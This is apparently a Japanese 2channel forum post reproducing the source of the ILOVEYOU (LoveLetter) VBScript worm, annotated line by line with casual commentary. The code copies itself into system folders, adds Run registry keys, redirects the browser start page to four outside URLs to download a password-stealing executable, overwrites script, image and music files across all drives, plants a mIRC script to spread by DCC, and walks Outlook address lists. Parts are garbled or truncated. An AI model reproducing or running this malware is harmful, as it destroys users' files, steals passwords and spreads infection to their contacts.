2ch

	[ 板情報 \| コンピュータ ]

死にたいらしいな rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main()　　　'本体&各ルーチン呼び出し部分 sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") if (rr>=1) then 　　　wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"MSKernel32.vbs") c.Copy(dirwin&"Win32DLL.vbs") c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html()　　'←意味があるのか？なんかの裏技か？よぉわからん spreadtoemail() listadriv() end sub '************************************************ ' レジストリ関係を改ざんして、ウイルスの起動環境を整備 '************************************************ sub regruns() rem On Error Resume Next '←なんじゃこりゃ？(笑) Dim num,downread 'ユーザーがどういう設定をしてようが、初期状態にする regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory") if (downread="") then 　　　downread="c:" end if 'こいつの最大の目的はここだ！ 'このウイルス自体は「蔓延」の役目でしかない。 '真の作業はこのウイルスによって、ユーザーに強制ダウンロードさせた「パスワードハックプログラム」が行う。 'まずWindows既定の一時フォルダに、パスワードハックプログラムをダウンロードするよう前準備 if (fileexist(dirsystem&"WinFAT32.exe")=1) then 　　Randomize 　　num = Int((4 * Rnd) + 1) 　　if num = 1 then　　'ブラウザの「スタート」ページを４ヵ所あるダウンロードサイトのいずれかに変更。あとはブラウザを立ち上げるだけでブラウザが勝手にダウンロードをはじめる　　　regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 　　　elseif num = 2 then 　　　　regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 　　　　elseif num = 3 then 　　　　　regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" 　　　　　elseif num = 4 then 　　　　　　regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" 　　end if end if 'この段階で、（２回目のウイルス起動など）すでにパスワードハックプログラムがダウンロードされていたら、自動起動状態にする。 '同時にブラウザのスタートページをクリア（「まっしろ状態」）にする。 if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then 　　regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe" 　　regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet rem ExplorerMainStart Page","about:blank" end if end sub 'ドライブの構成をマップにする ※本来サブルーチン群に入るべきだが、ソース上はなぜかこの位置にある '（なおリスト化するのはＨＤＤ狙い。でもこのプログラムのままだと不安定じゃないかと思う。ま、いいけど） sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives　'ラストドライブまでの数を取得することによって、全ドライブ数を得る For Each d in dc 　　If d.DriveType = 2 or d.DriveType=3 Then 　　　　folderlist(d.path&"") 　　end if Next listadriv = s end sub 'ＨＤＤ上に存在する画像ファイル・音楽ファイルをすべてＩＬＯＶＥＹＯＵウイルスに書き換える（結果として破壊する） '（※スパゲティ気味でよぉわからんから原文のまま） sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ;" scriptini.WriteLine ;Khaled Mardam-Bey" scriptini.WriteLine ;http://www.mirc.com" scriptini.WriteLine ;" scriptini.WriteLine n0=on 1:JOIN:#:{" scriptini.WriteLine n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub '************************************************ '　　　サブルーチン群 '************************************************ 'そのドライブに存在するフォルダを一覧にする（ sub listadriv に呼び出されるサブルーチン） sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf 　　infectfiles(f1.path) 　　folderlist(f1.path) next end sub 'レジストリキーを新規生成（ sub regruns に呼び出されるサブルーチン） sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") 　　regedit.RegWrite regkey,regvalue end sub 'レジストリの値を取得し返す（ sub regruns に呼び出されるファンクションルーチン） function regget(value) Set regedit = CreateObject("WScript.Shell") 　　regget=regedit.RegRead(value) end function 'ディスクの空領域チェック（ sub regruns に呼び出されるファンクションルーチン） function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then 　　　　msg = 0 　　else 　　　　msg = 1 end if fileexist = msg end function ' ※どこからも呼び出されていないファンクションルーチン・そもそも何がやりたかったのかも不明 function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then 　　　msg = 0 　else 　　　msg = 1 end if fileexist = msg '←なんか間違えてるし。でもこのミスはよくやるよね(笑) end function 'Outlookに登録しているメールアドレス全員にウイルスを送信 sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI")　　'MAPIいわゆる「まっぴ」を使う・MAPIは Outlookを外部から制御するAPI for ctrlists=1 to mapi.AddressLists.Count '住所録の総数を得る（この数にはフォルダとか、FAXだけとかメールアドレスのない人も含まれる）　　set a=mapi.AddressLists(ctrlists) 　　x=1 　　regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a) 　　if (regv="") then 　　　　regv=1 　　end if 　　　　if (int(a.AddressEntries.Count)>int(regv)) then 　　　　for ctrentries=1 to a.AddressEntries.Count 　　　　　　malead=a.AddressEntries(x) 'アドレスエントリを読み込んでメールアドレスを抽出　　　　　　regad="" 　　　　　　regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead) 　　　　　　　　　　　　x=x+1 　　　　next 　　　　regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count 'メールエントリをクリアする。マジ、凶悪やな。　　　else 　　　　regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count 　　end if next Set out=Nothing Set mapi=Nothing end sub